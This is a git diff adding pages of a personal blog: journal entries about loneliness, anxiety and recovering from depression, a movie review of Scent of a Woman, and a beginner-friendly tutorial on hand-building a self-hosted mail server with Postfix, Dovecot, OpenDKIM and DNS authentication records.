    + +
    +
    + +

    + Sadness +

    + +
    +

    Honestly, I don’t know why I’m doing any of this. I really don’t. +I think for me this is a scape from reality. +A scape from the sad thing that happened earlier this month. +A scape from feeling used, or let’s say abused if you will, and then thrown away. +Just like a piece of trash. +It’s been hurting more and more. +I’ve been lying to myself that I don’t care. +That I’ve moved on.

    +

    I’ve been seeking validation ever since. +The validation that was lacking during that encounter. +The feeling of not being good enough.

    +

    It’s enough grieving though. +But is it? +I tell myself I have moved on. +I’m not chasing. +I’m really not.

    +

    I do know that this was indeed the best that could’ve happened for me. +I just dodged a bullet. +But still, there is a part of me that hurts, that grieves. +A part that doesn’t want to move on. +I told myself that I will meet new people, and forget. +But then aren’t I changing the problem?

    +

    The problem isn’t what is on the surface. +It’s something deeper. +The fact that I feel lonely, scared, anxious. +My anxious attachment, combined with overthinking, hurts me. +I have to analyse and see the worse in every encounter.

    +

    Like if I tell a group of friends that I won’t go with them a few times, I will be removed from the group. +That if everyone is busy, they have planned something together and I’m not invited. +That if someone doesn’t reply to me, they hate me. +Or that if someone passes me and doesn’t look at me or say a word, they don’t want to see me, or don’t want me around them.

    +

    I don’t know how to stop these. +I started to do more home office for this very reason, but I wasn’t that productive. +I think my time, and life, is going to waste, and I don’t know how to stop it. +It’s getting annoying.

    +

    Taking SSRIs was supposed to help, but I guess it just made me not care during the process, and now that I’m far along I feel the extra stress I was neglecting. +Things just don’t feel right. +I think I’m becoming depressed again.

    +

    Those message passings, though they meant nothing, were extremely helpful for me not to feel lonely. +I know if I initiate, I get responses back. +Well, maybe not. +Maybe my expiration date has passed. +But then I would be chasing bread crumbs again. +Those crumbs won’t let me find a true good quality loaf of bread! +They keep me distracted, and make me exhausted. +But they also mentally help me.

    +

    Maybe I should go for coffee at different times just not to meet this person. +I don’t know. +I just know I’m hurting from within, and it’s not nice. +It’s like internal bleeding. +It’s as painful as it gets. +It’s as hurtful as it gets.

    +

    I know getting a pet could help me a lot at this point. +All of the things I want I can get from a pet. +Petting the pet, and caring for it are exactly what makes me feel good. +But then I don’t want the responsibility.

    +

    Like with a human things feel less stressful, but with a pet it’s scary. +I’m more of a father to the pet. +Uh… +I can’t even have a pet because of my house rules.

    +

    I don’t know what to do. +What I know is that I’m mentally hurting, and I don’t know what to do. +I really don’t. +I need help. +A lot of help. +A lot lot of help. +But I can’t ask my friends. +I just can’t. +They have their own problems. +They think I’m weak. +They will tell me to man up. +Or they just show empathy. +But I don’t need empathy. +I need a solution. +I need to be told what to do. +I need help. +Help.

    +

    … — …

    +

    … — … … — … … — …

    +

    … — …

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbucACgkQtYgoUOBM
    +jSp4tQ/9EBdBCfxCs81mRY78MNMo2detZkVaIesg8pIgjKxT3Guj/lqcNUBN+0a9
    +XkVgKH2Ax8n7h+uRwhN27yWBjqCHF/gHKYoMYjXKg8tlPyQQEzQsCt/vsNHK9Xfx
    +rzCZx4ZIBpNfslXkpwJqwbvY0VuxvPQY51oMCzgaycMrp07e2daRG0WNGrDq156y
    +4ahrfMhObGCJNQD3OS4GqjaE4PzrkKubCy784Q2Ro/fAY6I6ag2p9K/damrvSk4y
    +spcAHdFtKoawLPXXYW0SAPxg3Nk1f04Lq1JmBf528U+VbIflsJG2id+g1W3Z7ch6
    +sg5vnKJj7d7AM/0XeHZzNIzfCVz4M9hSnXx3eLb260SAHQTQqBsKFaXYl7y43ND5
    +9IOisO3ah6/HTBsJQ2tf7QA5y4HPgY+b+rJVDQ4u0UiGfXLLFA2jtUwMnQmx49Ch
    +SD4vGu8SaxWVhWPprrBX6OsC+qEzPiksqu2CZCiEM1Lqma194USyjxqctACNDigO
    +K5qILAk8qvmEdDLIFxfYrpOA9qj+aNDG7gJkBOXCqc6hQ3O3Tv5FnVRokzjDk4Qe
    +N9F1UAZO0F2u7dvAUH4GFN90ysyWKJzsQYzIC1aABZxws16mvbgSwNf6+okpky12
    +VEkutpuGSpUw7Lslhb0Tz2ZEwnjRL/A4p1L3nF8rdlzqLe1ERvk=
    +=VEwz
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/sadness.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/sadness.md.asc
    +gpg --verify sadness.md.asc sadness.md
    +  
    +
    + + + + +
    + +
    + + + Open on GitHub ↗ +
    + + + + + + + +
    +
    + +
    + + + Comments powered by Isso + +
    + + + + +
    +
    + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + + diff --git a/public-onion/posts/scent_of_a_woman.asc b/public-onion/posts/scent_of_a_woman.asc new file mode 100644 index 0000000..0b11e53 --- /dev/null +++ b/public-onion/posts/scent_of_a_woman.asc @@ -0,0 +1,17 @@ +-----BEGIN PGP SIGNATURE----- + +iQJMBAABCgA2FiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmkCfA0YHGltYW4uYWxp +cDIwMDFAZ21haWwuY29tAAoJELWIKFDgTI0q1qsQALb6NsD1LOVKfLIDhB4enmc6 +dUQAbtqV5FDRq9Kp20vNxbgbChyoluCNHSESsNUOsk9Un9+v3LJHfyaRxvg4pai7 +DE7n99DgF4SQ1uS6ZaXxLvpOydQqwgDFR5/m/wAjo6NENW9OmzKWVS7+0h8puiXk +XX84bLwEqyxUePDBGrDyYWIZYMMDihquPDc5LVpotvhwLU3NA+RL+0ngH1rPTUYb +QgQ6tsB8/6XTyKcmK+ZrvHHIy8aai3W/q1iU2zOz0ueQdRxF/cnQN0/twajFxeyF +ba2I725WV87GjXtbInC6rVIhQEKdd1em6kUtnh5N7gFEID0uXuZgRCe72gZYU72O +VRI8wqmHjL+KqStkds0PAduejCg1KtNDcVz7JPewrTsDrmvvLzO5RPSajEuke/Pb +C7BYRH73X8P7M4FOVRXuig9Os6mrcPBqA3rI/H9bNnWjf2WdWEFOi13JiqTvjgj2 +x9Ei87/Y8pfrdgC/4MmJ36lBpgEohwKvxii0s0PlBIWa4u/2KYAgS0Q+ngwkJ+H6 +Nw2W/4soGkgOD9b/AkJaUGqN37QiDuvET1H1tb8o9EsmBvGge1RpEW0Ld4GNYf6w +Q2huQHJIZHxqsMmoQEh3y7xsHnJIfM2V3JBFk9YlFPKKEhiXCrjMvhV45Thx6MiX +uqPwlhZbctvKaWBzN4Y6 +=WBNK +-----END PGP SIGNATURE----- diff --git a/public-onion/posts/scent_of_a_woman/index.html b/public-onion/posts/scent_of_a_woman/index.html new file mode 100644 index 0000000..7b5f222 --- /dev/null +++ b/public-onion/posts/scent_of_a_woman/index.html @@ -0,0 +1,619 @@ + + + + + + + +Movie review: Scent of a Woman | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + +
    +
    + +

    + Movie review: Scent of a Woman +

    +
    + My reaction to the movie as a not so pro movie watcher +
    + +
    +

    I’m not a big movie watcher. +In fact, I don’t remember the last time I watched a whole movie in a single day. +It’s not that I don’t enjoy it, it’s that I want to do this with at least another person. +It feels much better to not be alone when watching a movie for me for some reason. Buuuut, I watched Scent of a Woman on Sunday, and after my therapist encouraged me to do so.

    +

    Few points before I begin.

    +
      +
    • This was aside from the therapy session.
    • +
    • My therapist does not tell me what to do, or if I’m wrong or right or anything like that.
    • +
    • I watched this movie in about two parts in a single day!
    • +
    • I knew Al Pacino’s face from Godfather series, but didn’t know his name.
    • +
    • I’m not a big movie person, so whatever I say should be taken with a grain of salt. Just don’t be offended, take it face up and as is.
    • +
    +

    The movie is about a good young student named Chris O’Donnell, played by Charlie Simms ,who is dependent on a scholarship to continue his studies after school, worthy of going to Harvard.

    +

    The second main character of the movie is a blind man called Lt. Col. Frank Slade, played by Al Pacino, who is an arrogant, rude, assertive, proud, self-centered person that gives bad vibes throughout the movie.

    +

    Chris needs to work over the thanksgiving weekend, just to be able to make it home during Christmas. +He lives with his mother, and a not so nice step-father who isn’t really there for him.

    +

    When taking the job to watch over Frank, he quickly realizes what a hard task this will be, but the lady who hires him (Karen Rossie) being his niece assures him that he is a pile of suger under these bad vibes, and that she needs him to do this for her for these fea days. +At last Chris agrees.

    +

    Upon Karen’s leaving, Frank gets ready for a trip to New York. +To do his last vows before taking his own life without Chris knowing this.

    +

    He plans staying at a nice hotel, having an awesome Meal at a gorgeous restaurant, seeing a woman, his brother, and then taking his own life.

    +

    Frank is in love with Jack Daniel’s and cannot get enough of it. +Throughout the movie this drunk, addiction-like behaviour is portrayed.

    +

    Frank also learns about a problem Chris is facing. +Chris is being forced to snitch on a group of the people he knows, or he will be expelled and loses his chance to got o Harvard with another scholarship. +He doesn’t want to snitch, but frank learns about this, he encourages him to take the deal.

    +

    Frank then tries to teach Chris how to flirt, how to get woman, and how to be a gentleman. +There is an amazing scene in the movie where Frank tries to setup Chris with a girl who is waiting for her boyfriend! +He dances Tango with her and this scene is probably the most majestic scene in any movie I have ever seen. +The feelings I got were so strong and positive that I just cannot express!

    +

    In the end, when Frank wants to take his own life, Chris stops him and talks him out of it. +He helps him to ride a Ferrari, the second thing he liked in his life (the first thing was woman lmao!). +A police officer stopped them because they were going too fast, and Frank spoke his way out of the ticket! +The officer didn’t even recognize Frank was blind!!!!

    +

    After these emotional roller coaster, Chris became ever-so attached to Frank, and so did Frank become attached to Chris, showing up to an open student hearing in place of Chris’s parent.

    +

    Chris ended up not snitching, and Frank spoke up for him, saying how big of a man is he! +How valuable he is, and how disgusting the acts of the other kid who also could snitch but hid behind his father’s back was.

    +

    In essense, the movie was amazing, with great acting all over it. +The characters portreayed their roles as amazingly as possible. +I loved the movie and how we got to know the characters more and more as the movie went on, and how the story progressed.

    +

    The story was also amazing. +Characters really added life to the scenes by their amazing play. +Donna did the tango dance professionaly. +Al Pacino played to role of a blind man very well, you would easily be fooled by his amazing acting.

    +

    That leaves me thinking about why did my therapist suggested me to watch this movie and asked me to tell him how I felt and how I thought about the movie?

    +

    Was it about Frank? +That I was trying to be Chris, protecting and caring for Frank, although his behaviour is horrible? +But Frank gave so much back to Chris. +I guess it is the same for me too, I’m also getting a lot back while making some sacrifices.

    +

    Or maybe was it about that amazing Tango dancing scene? +The sensations that Frank describes about relationships, and how he interacts with woman?

    +

    I honestly do not know. +I just know that watching the movie gave me good feelings. +That I’m a happier Iman than the Iman I was before watching it. +That my feelings and experiences are not abnormal, they are valid. +That I’m on the right track, but still need time to figure out the way. +That I shouldn’t worry too much. +That I should look at everything as a way to have “fun”. +That I shouldn’t overthink things. +That if I mess up, oh well, I should take the responsibility and move on.

    +

    I don’t know what the intention of my therapist was, but I’m so curious! +I want to figure it out. :) +Fell free to cross your fingers for me!

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuMACgkQtYgoUOBM
    +jSqQCQ/9EAs8l5fvPCqCfZFBipGWtTJewjXdcCu13/WfX66vXjBdPxzL5pLkLV7Q
    +m6IiKs5GoxJFgNEyfNSjjBNj+NeqxgmYqlephJtf5ubTW+IuSMkinSyvVwkKrxAX
    +QA+1Imf7/4QTyUB6/L+19jk+1Yl2E0IVyJVWbuE0G/ZsB0TiTI/0Te3aKFdIv3lj
    +OAProXMLAaCpasabz8+kQBQsul12h0cjG7A+TSaTgaM+WnE8RuC6C0KV//YeUfvN
    +DuyXHU9DVklkbGSblZw8EKSwLqlbCoPKixeRjVT45OG41eGmGzxYOBEb57zYEfkZ
    +Zmgo6Y8g2fYYU1wMj5bIylfFut0TqenCxSzJX4xqLnAhw0fx9kLCY1aoxR/Mfub5
    +wVNf/2vL14Ef4kfMWg8POj1WrgZc+pSqWUONnTn0yBIl9rjk1LSe9IMtjBHnrIDd
    +GIwrhoAinO9Qyj7UOyoFFCj6JMnLcnhx5Cwn5EGRS9PSrbUbZdFDuYVQ74R/AEHf
    +VX1qD1UK0k84FsHhLLflEPiZypxIZsrXS+BpKKG5wi7mFopvUFuZoPbHdmK2856P
    +e9zZL9e7VOjODn00zR/b6iDMoLUdOxw0rey2LOoNx9Gw42zYb5vuw1djNOgE9D1R
    +57hf02VIRab5Q1ROOnfl05pv1bY5JMQO4Zcp5Me3OFmiQwl/KYU=
    +=/VjG
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/scent_of_a_woman.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/scent_of_a_woman.md.asc
    +gpg --verify scent_of_a_woman.md.asc scent_of_a_woman.md
    +  
    +
    + + + + +
    + +
    + + + Open on GitHub ↗ +
    + + + + + + + +
    +
    + +
    + + + Comments powered by Isso + +
    + + + + +
    +
    + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + + diff --git a/public-onion/posts/seeing_the_light/index.html b/public-onion/posts/seeing_the_light/index.html new file mode 100644 index 0000000..14796e1 --- /dev/null +++ b/public-onion/posts/seeing_the_light/index.html @@ -0,0 +1,562 @@ + + + + + + + +Seeing the "Light" | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + +
    +
    + +

    + Seeing the "Light" +

    + +
    +

    I have a strong hunch that I made it. I beat my MDD. I’m finally happy! I’m happy for being single, for being who I am, for doing what I do. I can cherish every moment of my life now.

    +

    Currently I’m sitting in Hamburg’s CCH, being an Angel in disguise. ;D

    +

    I could not land myself any shifts before 1600, so I have to sit around and wait, and blog.

    +

    I also want to talk about some random thing that happened yesterday. It was me and a colleague in office. I suspected he’s been wanting to talk to me about… well… something, but he was too cautious, as if I would screw him over? I have to clue to be honest. He insisted he had no idea I knew why he was saying that he was saying, but in the end I could see we both knew what we were talking about.

    +

    He kinda talked about my view on relationships and dating, the meaning behind it, and my future plans. He then told me to “give time to time”. So… yea. Idk. She will probably talk to me about this as time goes on. I don’t want to feel anxious though, it should not matter what the outcome is. I should not count on anything, or start counting my chickens before they hatch.

    +

    Another funny thing that happened was that a friend of mine wanted to introduce a potential match, but then he kinda scewed away from it. I have no idea why, but since I tend to assume the worst in things, I should not thinnk about it.

    +

    As time goes by, and as I become more experienced, I feel more relieved.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuUACgkQtYgoUOBM
    +jSr7aBAAgOSc2FBGLiHK+6odcxj1VJGnhkV2ibMv8M1e1v1qzIu8wpBBhOzP/XCm
    +YQhFqtn6LIB2XWMnKjLagYTNgn8jWirAHC95QkoILsoAdShPvh57Tt+DKmZnHJlz
    +siRwHqE/+peFHpqfjwUf7GLzF/AeiFD3Se3nSPjRe4olRiUDMMhPvNDBW1seQqKn
    +y4CzVsjVClxVCyUf4b361F07+XuGv3kmKOnWTV3suLZykpWpxiQTRdq+jI7DBZKK
    +ZKimruFbc7iYVaQOs0biNXL2MFn9JXEvqAApPkkJ85JfVwvhDieThu+sw0+EQoc0
    +riFVnb2+TK1OSkAu7w7HFLcUY0gGZ4+lrmTQDpsEO69xcFXMyZZQDW/B4qnj2qo0
    +kp267oEPRToficNjpTKu0VhKtEaDNh5JMasxSEdwzehNp6K1Hp6LdRiVPEArWnxZ
    +jL35SgQzElB5ifYy3CYjTj2CA/qxC01OZrzoPbia9RLsdFBJEscYrSGBAqqRgZ/+
    +KTK/nsubJQtXF0Ui7fCZS/Dv4iR3tH0hyDi+w+mYWRzzFq0jnQsBYYu3QmjuhU+V
    +hfZHIYkH3yQV7k4XCa3wpMvnwC7I1od4ZmCjB98ITaz8U+BVHRT//Y2w6Xnd1OJi
    +terYCiMGVC5sJzaUw8ZGfMf0l78J8X8B5KD+ZBtAs12NdekX/V4=
    +=xRmw
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/seeing_the_light.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/seeing_the_light.md.asc
    +gpg --verify seeing_the_light.md.asc seeing_the_light.md
    +  
    +
    + + + + +
    + +
    + + + Open on GitHub ↗ +
    + + + + + + + +
    +
    + +
    + + + Comments powered by Isso + +
    + + + + +
    +
    + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + + diff --git a/public-onion/posts/self_hosting_mail/index.html b/public-onion/posts/self_hosting_mail/index.html new file mode 100644 index 0000000..ab99182 --- /dev/null +++ b/public-onion/posts/self_hosting_mail/index.html @@ -0,0 +1,666 @@ + + + + + + + +Self-hosting mail the hard way (Postfix + Dovecot + PostfixAdmin + Roundcube, and zero Mailcow) | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + +
    +
    + +

    + Self-hosting mail the hard way (Postfix + Dovecot + PostfixAdmin + Roundcube, and zero Mailcow) +

    +
    + A friendly, story-shaped walk through hand-rolling mail on funbox: how email actually moves, what PTR/SPF/DKIM/DMARC even mean, why open relays are bad, and how Matrix stole my TLS certificate (again). +
    + +
    +
    +

    If you came here scared of mail servers: good. That means you’re paying attention. This post is for you. I assume you can SSH into a Linux box and copy-paste carefully. I do not assume you already know what an MX record is, why port 587 exists, or why Cloudflare’s orange cloud and SMTP should never meet at a party.

    +

    I wanted real email on my own machine — mail.alipourimjourneys.ir — without buying a “smart” appliance and without installing one of those giant all-in-one stacks. Mailcow is excellent. Stalwart is excellent. I still said no. Sometimes the point is to feel each moving part with your own hands, even if that means spending an evening arguing with nginx about whether a certificate belongs to mail or to Matrix. (Spoiler: when in doubt on this box, it was Matrix.)

    +

    By the end I had Postfix talking to the world, Dovecot holding the inboxes, OpenDKIM signing what I send, PostfixAdmin for creating people without SSH, Roundcube for reading mail in a browser, SPF and DKIM and DMARC in DNS, and reverse DNS (PTR) pointing the right way. Strangers cannot use my server as a free spam cannon. Thunderbird can delete messages again. I can open webmail when I’m too lazy for a desktop client. And I finally understand why those pieces exist, which is the part the shiny installers quietly skip.

    +
    +

    Why I bothered

    +

    Funbox already hosted a small zoo of services with nice names and Let’s Encrypt certificates. Chat. Notes. Cloud stuff. Mail somehow stayed on the eternal TODO list labeled “next semester.” That felt silly. Email is older than most of the internet, slightly haunted, and still the boring glue that password resets and “your package has shipped” messages refuse to abandon.

    +

    I also wanted something more specific than “a mailbox.” I wanted addresses under my own domain, a way to create accounts for other humans without giving them shell access, and enough understanding that when something broke at 1 a.m. I wouldn’t be guessing which logo to Google. Doing it by hand is slower. It’s also how you stop treating mail as magic.

    +
    +

    How email actually moves

    +

    Imagine a post office that both receives letters from other post offices and lets you drop off letters to send — but only if you show ID at the counter.

    +

    Postfix is that post office building. It speaks SMTP. When another provider wants to deliver mail to you, it looks up your domain’s mail instructions in DNS, finds your server, and knocks on port 25. That conversation is server-to-server. Gmail does not “log in as Gmail” with a password when it delivers to you. Trust comes from DNS, reputation, content filters, and whether you look like an open relay (more on that later).

    +

    When you want to send mail from Thunderbird or Roundcube, you don’t casually open port 25 from a laptop anymore. You use submission, usually port 587, after starting TLS and proving who you are with a username and password. Postfix asks Dovecot, “is this password real?” If yes, Postfix is willing to carry your message out to the wider world. If no, goodbye.

    +

    Dovecot is the filing cabinet and the locked reading room. It stores messages (I used Maildir: folders of files, boring and sturdy). It speaks IMAP on port 993 so clients can list, read, move, and delete. In the virtual setup it also accepts deliveries from Postfix over a local pipe called LMTP — think “Postfix hands the sealed envelope to the filing clerk” instead of Postfix rummaging in the drawers itself.

    +

    OpenDKIM sits beside Postfix like a notary. Before a message leaves, it stamps a cryptographic signature on the headers. Receiving servers can fetch your public key from DNS and check that the stamp is real. That doesn’t encrypt the love letter for privacy; it helps prove the letter wasn’t casually forged by a random stranger using your From address.

    +

    Then there’s the paperwork in DNS — SPF, the DKIM public key, DMARC — which isn’t software running on your machine. It’s instructions you publish so other people’s servers know how to judge mail that claims to be from you.

    +

    Once you see that split — public receiving dock on 25, gated human counter on 587, filing cabinet on 993, notary for outbound, DNS as the rulebook — the rest of the tutorial stops feeling like a random pile of config files.

    +
    +

    The shape of my setup

    +

    On Ubuntu 24.04 on funbox, Postfix is the MTA, Dovecot is IMAP plus authentication helper plus delivery clerk, OpenDKIM signs outbound mail, PostfixAdmin is the web UI for mailboxes and aliases, and Roundcube is webmail. A small Docker Compose stack under /srv/services/mail/ runs Postgres only for that mail world, listening on 127.0.0.1:5433. Matrix and HedgeDoc keep their own databases. I like it that way. One sad PHP bug should not inherit a free ticket into Synapse.

    +

    Nginx terminates HTTPS for a little portal at mail.alipourimjourneys.ir, the admin UI at mailadmin.alipourimjourneys.ir, and Roundcube at webmail.alipourimjourneys.ir. Clients still talk to mail.alipourimjourneys.ir for IMAP 993 and SMTP 587. You can log in with the full address, and after a bit of SQL kindness Dovecot also accepts the short local part the way Apple Mail sometimes prefers.

    +
    +

    Port 25 is for servers; port 587 is for people

    +

    This deserves its own soft lecture because mixing them up is how nice people accidentally build spam infrastructure.

    +

    Port 25 is the classic loading bay between mail systems. When someone elsewhere sends mail to you, their server connects here. You want Postfix to accept messages addressed to your domain, store them (via Dovecot), and refuse to forward random mail to random destinations for unauthenticated strangers.

    +

    Port 587 is the counter with the ID check. Humans authenticate. After that, Postfix may relay outward. That is normal. That is how modern clients send.

    +

    I also turned off AUTH advertisements on port 25. Leaving AUTH enabled there doesn’t instantly mean you’re an open relay, but it does invite bots to spend eternity guessing passwords against a door that shouldn’t even have a doorbell for them. Submission keeps the doorbell. Port 25 keeps the loading bay.

    +
    +

    What an “open relay” is, and why localhost lies to you

    +

    An open relay is a mail server that accepts mail from the internet and forwards it to somewhere else without caring who asked. Spammers adore open relays the way raccoons adore unsecured bins. Modern Postfix defaults are usually cautious, but “usually” is not a control you can put on a checklist and trust with your domain’s reputation.

    +

    Here’s the trick that wastes afternoons: testing from 127.0.0.1.

    +

    Postfix treats localhost as friendly. Cron jobs, monitoring, local sendmail calls — they need to inject mail without performing a full human login. That friendliness is encoded in mynetworks. So if you point a test tool at loopback, Postfix may accept things it would never accept from a random address on the public internet. You can scare yourself for no reason, or soothe yourself for no reason. Neither is useful.

    +

    So I tested from the public address instead: pretend to be a stranger, say hello on port 25, try to send mail from evil@example.com to someone@example.com, and stop after the recipient line. The answer I wanted was a firm refusal — something in the spirit of 454 Relay access denied. A cheerful 250 on that recipient line is how you wake up as someone else’s cannon.

    +

    Kindness to future-you: always ask, “am I testing the door strangers use, or the door my own cron uses?”

    +
    +

    DNS, but make it human

    +

    The forward map (name → number)

    +

    You already know this one from websites. An A record says “this name has this IPv4.” AAAA says the same for IPv6. For mail you also publish an MX record, which is simply a polite note: “if you’re delivering mail for this domain, knock on that hostname.” The hostname still needs A/AAAA records. MX is a pointer with a priority number, not a magical alternate internet.

    +

    I put mail.alipourimjourneys.ir on funbox for both v4 and v6, pointed MX at that name, and added webmail and mailadmin the same way.

    +

    Why Cloudflare’s orange cloud is not invited

    +

    Cloudflare’s proxied mode (orange cloud) is wonderful for HTTP websites. It is not a general-purpose “anything TCP” cloak for SMTP and IMAP. If you orange-cloud a mail hostname, you are asking a web reverse proxy to pretend it’s a mail server. That story ends in tears, weird timeouts, or certificates that belong to the wrong plot.

    +

    Mail hostnames stay DNS-only — grey cloud. I already treat some realtime services that way. Mail joins the grey-cloud club and stays there.

    +
    +

    PTR records: the phonebook in reverse

    +

    This is the part that confused me the longest the first time I met it years ago, so I’m going to walk slowly.

    +

    Normal DNS is a phonebook from names to numbers: you look up mail.example.com and learn the IP. Reverse DNS is a phonebook from numbers to names. You look up the IP and learn which name claims it. That reverse lookup is a PTR record.

    +

    Those reverse records do not live in your ordinary domain zone on Cloudflare. They live in a special reverse tree managed by whoever owns the IP address space — your hosting people, your ISP, the friendly operator who can edit the reverse zone. Having your own nameservers for alipourimjourneys.ir does not automatically give you the keys to reverse DNS for an IP, any more than owning your apartment gives you the right to rename the street.

    +

    So you ask the IP owner, kindly and with copy-pasteable values, to publish reverse names that match your mail hostname. In my case both the IPv4 and the IPv6 address should reverse to mail.alipourimjourneys.ir, and that name should forward back to those same addresses. That round trip is sometimes called forward-confirmed reverse DNS. Receiving servers love it because it smells like a real mail host instead of a laptop on hotel Wi‑Fi.

    +

    You can receive mail without PTR. Sending to big providers without PTR is how you collect mysterious silences and spam-folder exile. In this story, PTR is already in place. The world looks a little less suspicious of funbox. Good.

    +
    +

    SPF, DKIM, and DMARC: three different questions

    +

    People mash these together into “email authentication.” They’re related, but they answer different questions, and knowing that makes the DNS records feel less like spell ingredients.

    +

    SPF answers: “which machines are allowed to send mail claiming this domain?” It’s a TXT record listing your IPs (and sometimes includes of other services). I made mine strict: this server’s v4, this server’s v6, and then -all, which means everyone else should fail SPF. That is a bold stance. Use it when you truly mean “only this box sends.” If you’re mid-migration and scared, a softer ~all exists for a reason. I wasn’t mid-migration. I was building one source of truth.

    +

    DKIM answers: “was this message signed with our private key, and does the signature still match?” OpenDKIM signs outbound mail. You publish the matching public key under a selector name in DNS. Receivers fetch the key and check the stamp. If someone rewrites the message in silly ways, the stamp breaks. If someone without your key tries to impersonate you, they can’t produce a valid stamp.

    +

    DMARC answers: “if SPF/DKIM don’t align properly with the visible From domain, what should receivers do?” You can start with p=none (watch and learn), move to quarantine (bad mail goes to spam), and later reject when you’re brave. I moved to quarantine once signing and SPF looked healthy. Strict alignment settings mean I’m not pretending that “nearby” domains are close enough.

    +

    Order matters emotionally and technically. Publishing a harsh DMARC before DKIM works is a creative way to punish yourself. Get the notary working. Get the allowed-IP list right. Then tighten the policy.

    +

    Together they don’t make email “secure” in the Signal sense. They make domain forgery harder and give honest receivers better instincts about your mail. That is already a lot.

    +
    +

    Building the unglamorous core

    +

    On the OS I installed Postfix and Dovecot the ordinary Ubuntu way, pointed both at a Let’s Encrypt certificate for mail.alipourimjourneys.ir, and configured submission so humans must authenticate on 587. I disabled AUTH on 25. I closed plain IMAP on 143 because I don’t need a cleartext nostalgia port in 2026.

    +

    Then came OpenDKIM. Generating keys is the easy emotional beat. Publishing the TXT record is easy too. The sneaky beat was the milter socket. Postfix often runs in a chroot under /var/spool/postfix, so the path Postfix uses for the socket is relative to that jail. OpenDKIM must create the socket where Postfix can actually see it, with permissions that let the postfix user connect.

    +

    I briefly had two Socket lines in opendkim.conf. Config files don’t merge those into a committee. The last one wins. Mine won incorrectly, Postfix looked in the chroot path, found nothing useful, and outbound mail left unsigned while I stared at an empty directory like it had personally betrayed me. One Socket. The correct path. Restart. Log line: DKIM-Signature field added. Instant serotonin.

    +

    When opendkim-testkey says the key is OK but “not secure,” it is often complaining about DNSSEC validation, not accusing your key of being fake. Read that message gently.

    +
    +

    The Matrix certificate heist (that wasn’t a heist)

    +

    Thunderbird once refused my server with a wrong-site story. I opened the certificate details expecting mail.… and found matrix.alipourimjourneys.ir smiling back.

    +

    No attacker. No cosmic joke from Let’s Encrypt. Just nginx.

    +

    When a browser or mail client connects with HTTPS or STARTTLS, it names the host it wants (SNI). Nginx chooses a certificate based on that name. If no server_name matches, nginx shrugs and uses the default server block. On funbox, that default has long been Matrix. So any half-configured HTTPS name inherits Matrix’s identity and fails the “are you who you say you are?” check in the most confusing way possible.

    +

    Later I repeated a sibling mistake with webmail.: I enabled an HTTPS site pointing at certificate files that did not exist yet. Nginx then failed its config test. Certbot’s nginx plugin also needs that test to pass. Deadlock. Meanwhile browsers hitting https://webmail.… still fell through to the default server and received Matrix’s cert again. Same villain, new episode.

    +

    The boring fix is chronological humility. Publish DNS. Put an HTTP-only server block up first. Issue the certificate. Only then flip the site to HTTPS. If you reverse those steps, nginx will teach you about chickens and eggs until you apologize.

    +
    +

    From Linux users to real mailboxes

    +

    The first version used system accounts. Postfix delivered to local Unix users. Dovecot checked passwords with PAM. For a single person it works. It also quietly means your mailbox password is entangled with your login story, and creating “a mail account for a friend” starts to look like creating a Unix inhabitant. That is not the vibe I wanted for a portal.

    +

    So I moved to virtual mailboxes. PostfixAdmin keeps domains, users, and aliases in Postgres. Dovecot looks up passwords and home directories with SQL. Mail files live under /var/vmail/... owned by a dedicated vmail user. Postfix no longer thinks of those addresses as local Unix people. It thinks of them as virtual destinations and hands the message to Dovecot over LMTP.

    +

    Why not let Postfix write the files itself? You can, historically. I prefer letting Dovecot be the clerk who already understands Maildir layouts, future filters, and the IMAP view of the world. Postfix remains the traffic cop at the street.

    +

    One setting decides whether this feels cursed or calm: mydestination.

    +

    That list means “domains I treat as local Unix delivery.” Virtual domains belong in the virtual maps instead. If your hostname is mail.alipourimjourneys.ir and you also leave that name in mydestination, Postfix may keep trying to deliver like it’s 1999 local mail. Virtual users then appear configured while messages vanish into the wrong conceptual bucket. I set mydestination to localhost and let the mail domain be virtual. Suddenly the model matched reality.

    +

    PostfixAdmin became the place where I create humans. They can change their own passwords in the user area. I can reset them when someone inevitably forgets. No SSH required for “please add my sibling.”

    +

